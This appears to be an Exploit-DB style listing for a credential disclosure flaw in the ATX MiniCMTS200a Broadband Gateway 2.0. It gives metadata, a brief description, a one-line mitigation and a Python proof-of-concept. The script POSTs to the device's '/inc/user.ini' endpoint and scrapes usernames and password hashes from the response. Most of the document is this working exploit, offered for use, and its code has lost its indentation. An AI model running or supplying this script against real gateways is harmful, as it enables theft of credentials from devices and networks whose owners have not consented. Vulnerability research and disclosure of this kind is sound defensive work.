ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure

vendor:

MiniCMTS200a Broadband Gateway

by:

Zagros Bingol

7.5

CVSS

HIGH

Credential Disclosure

200

CWE

Product Name: MiniCMTS200a Broadband Gateway

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: NO

Related CWE: N/A

CPE: a:atx:minicmts200a_broadband_gateway

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Debian 10 64bit

2020

ATX MiniCMTS200a Broadband Gateway 2.0 – Credential Disclosure

ATX/PicoDigital MiniCMTS200a Broadband Gateway v2.0 is vulnerable to credential disclosure. An attacker can send a POST request to the '/inc/user.ini' endpoint to retrieve usernames and hashes of the users.

Mitigation:

Ensure that the '/inc/user.ini' endpoint is not accessible from the internet and is only accessible from trusted networks.

Source

Exploit-DB raw data:

# Exploit Title: ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure
# Date: 2020-11-20
# Exploit Author: Zagros Bingol
# Vendor Homepage: http://www.atx.com
# Software Link: https://atx.com/products/commercial-services-gateways/minicmts200a-broadband-gateway/
# Version: 2.0 and earlier
# Tested on: Debian 10 64bit

-------------------------------------

Endpoint:
http://www.ip/domain.com/inc/user.ini

--------------------------------------

Proof-of-Concept:

#!/usr/bin/python3
#License: GNU General Public license v3.0
#Author: Zagros Bingol(Zagrosbingol@outlook.com)


import requests
import re

target = input("Target(ex:http://host): \n")
port = input("Port: \n")


def sploit(target, port):
print("ATX/PicoDigital MiniCMTS200a Broadband Gateway v2.0 -
Credential Disclosure\n")
r = requests.post(target + ":" + port + '/inc/user.ini')
searching = re.findall(r"\[.{1,8}\]", str(r.text))
print("Usernames:\n")
print(", ".join(searching).replace("[", "").replace("]", ""))

def hash():
r = requests.post(target + '/inc/user.ini')
searching = re.findall(r"([a-fA-F\d]{32})", str(r.text))
print("Hashes:\n")
print(", ".join(searching).replace("[", "").replace("]", ""))
hash()

sploit(target, port)